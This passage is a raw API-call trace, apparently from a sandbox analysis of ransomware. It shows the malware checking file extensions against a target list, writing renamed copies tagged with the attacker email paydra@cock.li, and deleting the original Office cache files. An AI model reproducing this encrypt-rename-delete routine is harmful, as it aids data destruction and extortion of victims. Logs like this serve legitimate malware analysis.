Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.557] lstrlenW (lpString=".doc") returned 4 [0034.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.557] lstrlenW (lpString=".docx") returned 5 [0034.557] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.557] lstrlenW (lpString=".pdf") returned 4 [0034.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.557] lstrlenW (lpString=".xls") returned 4 [0034.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.557] lstrlenW (lpString=".xlsx") returned 5 [0034.557] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.557] lstrlenW (lpString=".ppt") returned 4 [0034.557] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.557] lstrlenW (lpString=".zip") returned 4 [0034.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.557] lstrlenW (lpString=".rar") returned 4 [0034.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString=".bz2") returned 4 [0034.558] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString=".7z") returned 3 [0034.558] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString=".dbf") returned 4 [0034.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString=".1cd") returned 4 [0034.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString=".jpg") returned 4 [0034.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString=".doc") returned 4 [0034.558] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString=".docx") returned 5 [0034.558] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.558] lstrlenW (lpString=".pdf") returned 4 [0034.558] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString=".xls") returned 4 [0034.558] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString=".xlsx") returned 5 [0034.558] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.558] lstrlenW (lpString=".ppt") returned 4 [0034.558] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.558] lstrlenW (lpString=".zip") returned 4 [0034.558] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.558] lstrlenW (lpString=".rar") returned 4 [0034.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString=".bz2") returned 4 [0034.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString=".7z") returned 3 [0034.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.559] lstrlenW (lpString=".dbf") returned 4 [0034.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.559] lstrlenW (lpString=".1cd") returned 4 [0034.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.559] lstrlenW (lpString=".jpg") returned 4 [0034.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.559] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.559] lstrlenW (lpString="Proof.xml") returned 9 [0034.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.559] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1458) returned 1 [0034.559] CloseHandle (hObject=0x1a0) returned 1 [0034.559] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0034.560] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.560] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.560] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.560] GetLastError () returned 0x0 [0034.560] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0034.647] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.648] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.648] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.648] SetEndOfFile (hFile=0x1a4) returned 1 [0034.648] CloseHandle (hObject=0x1a4) returned 1 [0034.649] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.650] SetEndOfFile (hFile=0x1a0) returned 1 [0034.650] CloseHandle (hObject=0x1a0) returned 1 [0034.650] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.651] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0034.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.651] lstrlenW (lpString=".doc") returned 4 [0034.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString=".docx") returned 5 [0034.651] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.651] lstrlenW (lpString=".pdf") returned 4 [0034.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString=".xls") returned 4 [0034.651] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString=".xlsx") returned 5 [0034.651] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.651] lstrlenW (lpString=".ppt") returned 4 [0034.651] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.651] lstrlenW (lpString=".zip") returned 4 [0034.651] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.651] lstrlenW (lpString=".rar") returned 4 [0034.651] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString=".bz2") returned 4 [0034.651] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.651] lstrlenW (lpString=".7z") returned 3 [0034.651] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString=".dbf") returned 4 [0034.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString=".1cd") returned 4 [0034.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString=".jpg") returned 4 [0034.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString=".doc") returned 4 [0034.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString=".docx") returned 5 [0034.652] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.652] lstrlenW (lpString=".pdf") returned 4 [0034.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString=".xls") returned 4 [0034.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString=".xlsx") returned 5 [0034.652] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.652] lstrlenW (lpString=".ppt") returned 4 [0034.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.652] lstrlenW (lpString=".zip") returned 4 [0034.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.652] lstrlenW (lpString=".rar") returned 4 [0034.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString=".bz2") returned 4 [0034.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.652] lstrlenW (lpString=".7z") returned 3 [0034.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.653] lstrlenW (lpString=".dbf") returned 4 [0034.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.653] lstrlenW (lpString=".1cd") returned 4 [0034.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.653] lstrlenW (lpString=".jpg") returned 4 [0034.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.653] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.653] lstrlenW (lpString="Setup.xml") returned 9 [0034.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.653] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2362) returned 1 [0034.653] CloseHandle (hObject=0x1a0) returned 1 [0034.653] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.653] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.654] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.654] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.654] GetLastError () returned 0x0 [0034.654] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x93a, lpOverlapped=0x0) returned 1 [0034.670] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x940, lpOverlapped=0x0) returned 1 [0034.671] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.671] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.671] SetEndOfFile (hFile=0x1a4) returned 1 [0034.671] CloseHandle (hObject=0x1a4) returned 1 [0034.672] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.672] SetEndOfFile (hFile=0x1a0) returned 1 [0034.673] CloseHandle (hObject=0x1a0) returned 1 [0034.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.673] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.673] lstrlenW (lpString=".doc") returned 4 [0034.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.673] lstrlenW (lpString=".docx") returned 5 [0034.673] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.673] lstrlenW (lpString=".pdf") returned 4 [0034.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString=".xls") returned 4 [0034.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString=".xlsx") returned 5 [0034.674] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.674] lstrlenW (lpString=".ppt") returned 4 [0034.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString=".zip") returned 4 [0034.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.674] lstrlenW (lpString=".rar") returned 4 [0034.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString=".bz2") returned 4 [0034.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString=".7z") returned 3 [0034.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString=".dbf") returned 4 [0034.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString=".1cd") returned 4 [0034.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString=".jpg") returned 4 [0034.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.674] lstrlenW (lpString=".doc") returned 4 [0034.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.674] lstrlenW (lpString=".docx") returned 5 [0034.674] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.674] lstrlenW (lpString=".pdf") returned 4 [0034.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString=".xls") returned 4 [0034.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString=".xlsx") returned 5 [0034.675] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.675] lstrlenW (lpString=".ppt") returned 4 [0034.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.675] lstrlenW (lpString=".zip") returned 4 [0034.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.675] lstrlenW (lpString=".rar") returned 4 [0034.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString=".bz2") returned 4 [0034.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString=".7z") returned 3 [0034.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.675] lstrlenW (lpString=".dbf") returned 4 [0034.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.675] lstrlenW (lpString=".1cd") returned 4 [0034.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.675] lstrlenW (lpString=".jpg") returned 4 [0034.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.675] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.675] lstrlenW (lpString="Setup.xml") returned 9 [0034.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.683] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=6241) returned 1 [0034.683] CloseHandle (hObject=0x19c) returned 1 [0034.683] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.683] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.683] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.683] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.703] GetLastError () returned 0x0 [0034.703] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1861, lpOverlapped=0x0) returned 1 [0034.707] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0034.708] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.708] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.708] SetEndOfFile (hFile=0x1a4) returned 1 [0034.708] CloseHandle (hObject=0x1a4) returned 1 [0034.709] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.709] SetEndOfFile (hFile=0x19c) returned 1 [0034.710] CloseHandle (hObject=0x19c) returned 1 [0034.710] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 